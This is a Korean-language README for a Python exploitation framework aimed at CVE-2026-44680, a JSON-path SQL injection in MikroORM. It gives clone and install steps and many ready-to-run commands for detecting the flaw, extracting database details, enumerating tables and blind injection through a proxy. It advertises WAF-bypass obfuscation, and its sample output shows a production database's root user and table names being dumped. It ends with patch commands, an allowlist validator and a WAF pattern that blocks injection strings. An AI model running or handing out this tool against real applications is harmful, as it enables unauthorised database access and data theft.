
MikroORM ≤7.0.13에 영향을 미치는 CVE-2026-44680용 PoC 도구입니다. UNION 기반 공격을 통해 JSON 경로 인젝션을 악용하여 데이터베이스 내용을 추출합니다. 취약점 탐지, 자동화된 데이터 추출, 테이블 열거 및 블라인드 인젝션 지원 기능을 제공합니다. Burp Suite용 프록시 통합 및 WAF 우회 기법을 포함합니다.
보안 연구자를 위한 전문 PoC 도구
CVE-2026-44680은 Node.js용 인기 TypeScript ORM인 MikroORM에 영향을 미치는 심각한 SQL 인젝션 취약점입니다. 이 익스플로잇 프레임워크는 보안 연구자와 침투 테스터에게 취약점을 탐지하고 악용할 수 있는 전문 도구를 제공합니다.
저자: Sudeepa Wanigarathna
버전: 1.0.0
분류: 전문 보안 연구 도구
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-44680 |
| CVSS 점수 | 7.6 (높음) |
| 공격 벡터 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 낮음 |
@mikro-orm/knex <= 6.6.13@mikro-orm/sql <= 7.0.13MikroORM은 JSON_EXTRACT 쿼리를 빌드할 때 런타임에 제어되는 JSON 경로 키를 제대로 이스케이프하지 못합니다. 공격자는 JSON 경로 컨텍스트를 벗어나 임의의 SQL 코드를 주입할 수 있습니다.
# Python 3.8 or higher
python3 --version
# pip package manager
pip --version
git clone https://github.com/CerberusMrXi/CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework
cd CVE-2026-44680-exploit
# Using requirements.txt
pip install -r requirements.txt
# Or install manually
pip install requests colorama tqdm urllib3 simplejson
python exploit.py --help
requests>=2.31.0
colorama>=0.4.6
tqdm>=4.65.0
urllib3>=2.0.0
simplejson>=3.19.0
# Full exploitation
python exploit.py -u http://localhost:3000
# Vulnerability detection only
python exploit.py -u http://target.com --detect
# Extract database information
python exploit.py -u http://target.com --extract
# Enumerate tables
python exploit.py -u http://target.com --enumerate
python exploit.py -u http://192.168.1.100:3000
python exploit.py -u http://target.com -e /api/v2/users/query
python exploit.py -u http://target.com -p http://127.0.0.1:8080
python exploit.py -u http://target.com -v --extract
python exploit.py -u http://target.com --blind
python exploit.py -u http://target.com --detect
python exploit.py -u http://target.com --extract
python exploit.py -u http://target.com --enumerate
============================================================
MikroORM CVE-2026-44680 Exploitation Framework
Author: Sudeepa Wanigarathna
============================================================
[*] Performing vulnerability detection on /api/users/search
[+] Vulnerable to time-based SQL injection
[+] Vulnerability confirmed!
[*] Extracting database information...
[*] Enumerating tables...
[+] Found table: users
[+] Found table: products
[+] Found table: orders
[+] Found table: payments
[+] Found table: admin
===== MIKROORM CVE-2026-44680 EXPLOITATION REPORT =====
Author: Sudeepa Wanigarathna (Security Researcher)
Date: 2026-07-20 14:30:45
Target: http://localhost:3000
[*] VULNERABILITY DETAILS
- CVE: CVE-2026-44680
- CVSS Score: 7.6 (High)
- Affected Components: @mikro-orm/knex <= 6.6.13
[*] DATABASE INFORMATION
- Version: 10.11.6-MariaDB
- Database: production_db
- User: root@localhost
- Hostname: localhost
[*] ENUMERATED TABLES (5 found)
1. users
2. products
3. orders
4. payments
5. admin
[+] Report saved to exploit_report_1742493645.txt
[+] Table list saved to tables_1742493645.txt
exploit_report_1742493645.txt # Complete exploitation report
tables_1742493645.txt # List of discovered tables
npm install @mikro-orm/knex@latest
npm install @mikro-orm/sql@latest
const ALLOWED_JSON_PATHS = ['$.email', '$.name', '$.metadata'];
function validateJsonPath(key) {
if (!ALLOWED_JSON_PATHS.includes(key)) {
throw new Error('Invalid JSON path');
}
return key;
}
# Block suspicious JSON path patterns
"filterField": "\$\.x'\) OR .* -- "
중요: 본 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
...
보안 연구 커뮤니티를 위해 ❤️로 제작되었습니다
버그 신고 • 기능 요청 • GitHub에서 스타
| 기능 | 설명 | 상태 |
|---|
| 취약점 탐지 | 시간 기반 및 오류 기반 탐지 | ✅ |
| 데이터베이스 추출 | 버전, 데이터베이스, 사용자, 호스트명 | ✅ |
| 테이블 열거 | 모든 테이블 자동 발견 | ✅ |
| UNION 기반 인젝션 | UNION SELECT를 통한 데이터 추출 | ✅ |
| 블라인드 인젝션 | 부울 기반 문자 추출 | ✅ |
| 프록시 지원 | Burp Suite / 인터셉트 프록시 | ✅ |
| 보고서 생성 | 전문 TXT 보고서 | ✅ |
| WAF 우회 | 고급 난독화 기법 | ✅ |
| 플래그 | 설명 | 기본값 |
|---|
-u, --url | 대상 URL (필수) | - |
-e, --endpoint | API 엔드포인트 | /api/users/search |
-p, --proxy | HTTP 프록시 | None |
-v, --verbose | 상세 출력 | False |
--detect | 취약점 탐지만 수행 | False |
--extract | 데이터베이스 정보 추출 | False |
--enumerate | 테이블 열거 | False |
--blind | 블라인드 인젝션 모드 | False |